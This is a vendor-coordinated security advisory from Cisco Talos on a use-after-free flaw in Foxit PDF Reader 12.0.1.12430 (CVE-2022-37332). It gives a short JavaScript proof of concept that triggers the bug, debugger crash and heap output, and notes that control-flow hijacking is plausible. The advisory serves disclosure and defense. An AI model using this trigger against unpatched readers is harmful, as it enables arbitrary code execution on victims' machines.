Talos Vulnerability Report

TALOS-2022-1602

Foxit Reader openPlayer use-after-free vulnerability

November 10, 2022
CVE Number

CVE-2022-37332

SUMMARY

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.0.1.12430. A specially-crafted PDF document can trigger the reuse of previously freed memory via misusing media player API, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.0.1.12430

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can have multimedia content, which can be viewed interactively. There exists a use-after-free vulnerability in the way Foxit Reader handles events when the media player is being used. This can be illustrated by the following two-part proof-of-concept code:

//main document open action
this.pageNum =  0;
global.a = this.app.media.openPlayer({}); 
this.closeDoc();


//page close action
app.alert(global.a.isOpen);

In the attached proof of concept PDF document, the first part of javascript is attached to the document open action and will be run when the document is displayed. The second part is attached to the action that is triggered when the page is being closed. The main document action simply jumps to the first page, creates a media player object and saves it in a global variable. Then it causes document to be closed. Closing the document, in turn, triggers the page close action, which tries to access the saved media player variable. The problem arises because the page close and the document close actions are executed out of sync and the closeDoc call causes freeing of memory that will be reused inside the page close event. This can be observed in a debugger at the time of the crash:

(4e8.1df8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07af9928 ebx=16bd4ff8 ecx=2b8f2ff0 edx=25ceb000 esi=25cf8ff0 edi=0c807aa0
eip=02d49d03 esp=07af9900 ebp=07af9900 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
FoxitPDFReader!safe_vsnprintf+0xe88723:
02d49d03 8b01            mov     eax,dword ptr [ecx]  ds:002b:2b8f2ff0=????????
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe88723:
02d49d03 8b01            mov     eax,dword ptr [ecx]
02d49d05 8b4008          mov     eax,dword ptr [eax+8]
02d49d08 ffd0            call    eax
02d49d0a 0fb6c0          movzx   eax,al
02d49d0d 50              push    eax
02d49d0e ff7508          push    dword ptr [ebp+8]
02d49d11 e8fa5e2000      call    FoxitPDFReader!FXJSE_Value_SetBoolean (02f4fc10)
02d49d16 83c408          add     esp,8
0:000> !heap -p -a ecx
    address 2b8f2ff0 found in
    _DPH_HEAP_ROOT @ a371000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   2b703b60:         2b8f2000             2000
    64e3ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77b82c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77ae3c45 ntdll!RtlpFreeHeap+0x000000d5
    77ae3812 ntdll!RtlFreeHeap+0x00000222
    0463fc6b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00484b4b
    0461d121 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00462001
    045655d2 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003aa4b2
    016b6852 FoxitPDFReader!CryptUIWizExport+0x001d6f12
    016b61dd FoxitPDFReader!CryptUIWizExport+0x001d689d
    016b678b FoxitPDFReader!CryptUIWizExport+0x001d6e4b
    0168a661 FoxitPDFReader!CryptUIWizExport+0x001aad21
    00de8137 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00084b37
    00dd9b7c FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0007657c
    00ef8857 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00064817
    04381adc FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c69bc
    04382f73 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c7e53
    0437d919 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c27f9
    0437e18c FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c306c
    776ebf1b USER32!_InternalCallWinProc+0x0000002b
    776e83ea USER32!UserCallWinProcCheckWow+0x000003aa
    776e7f8a USER32!DispatchClientMessage+0x000000ea
    776ea6d9 USER32!__fnDWORD+0x00000049
    77b0cd3d ntdll!KiUserCallbackDispatcher+0x0000004d
    00ec9894 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00035854
    04381adc FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c69bc
    04382f73 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c7e53
    0437d919 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c27f9
    0437e18c FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c306c
    776ebf1b USER32!_InternalCallWinProc+0x0000002b
    776e83ea USER32!UserCallWinProcCheckWow+0x000003aa
    776e7f8a USER32!DispatchClientMessage+0x000000ea
    776ea6d9 USER32!__fnDWORD+0x00000049


0:000> k 8
 # ChildEBP RetAddr      
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07af9900 02d3d971     FoxitPDFReader!safe_vsnprintf+0xe88723
01 07af9954 02f54ef1     FoxitPDFReader!safe_vsnprintf+0xe7c391
02 07af9994 02fc78ba     FoxitPDFReader!FXJSE_GetClass+0x3c1
03 07af9a74 02fc74bb     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x7244a
04 07af9aac 03415c92     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x7204b
05 07af9b44 034180f2     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x4c0822
06 07af9be0 0335a45b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x4c2c82
07 07af9bfc 033d1fe1     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x404feb

The debugger output shows a crash on an invalid memory dereference. The output of !heap shows that the memory being dereferenced was previously in use but was freed, and we can see from disassembly output that the crash is just before a virtual function call which would lend itself to straightforward control flow hijacking. From the call stack, we can see that the crash comes while trying to look up object properties from FXJSE_GetClass call, which is one of the rare symbolicated functions. Additionally, by examining the execution flow, we can observe that the memory block in question is already freed when the page close action is executed. In other words, additional attacker-controlled javascript code can be executed between the time of free and time of reuse. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.

TIMELINE

2022-09-22 - Vendor Disclosure
2022-11-09 - Vendor Patch Release
2022-11-10 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.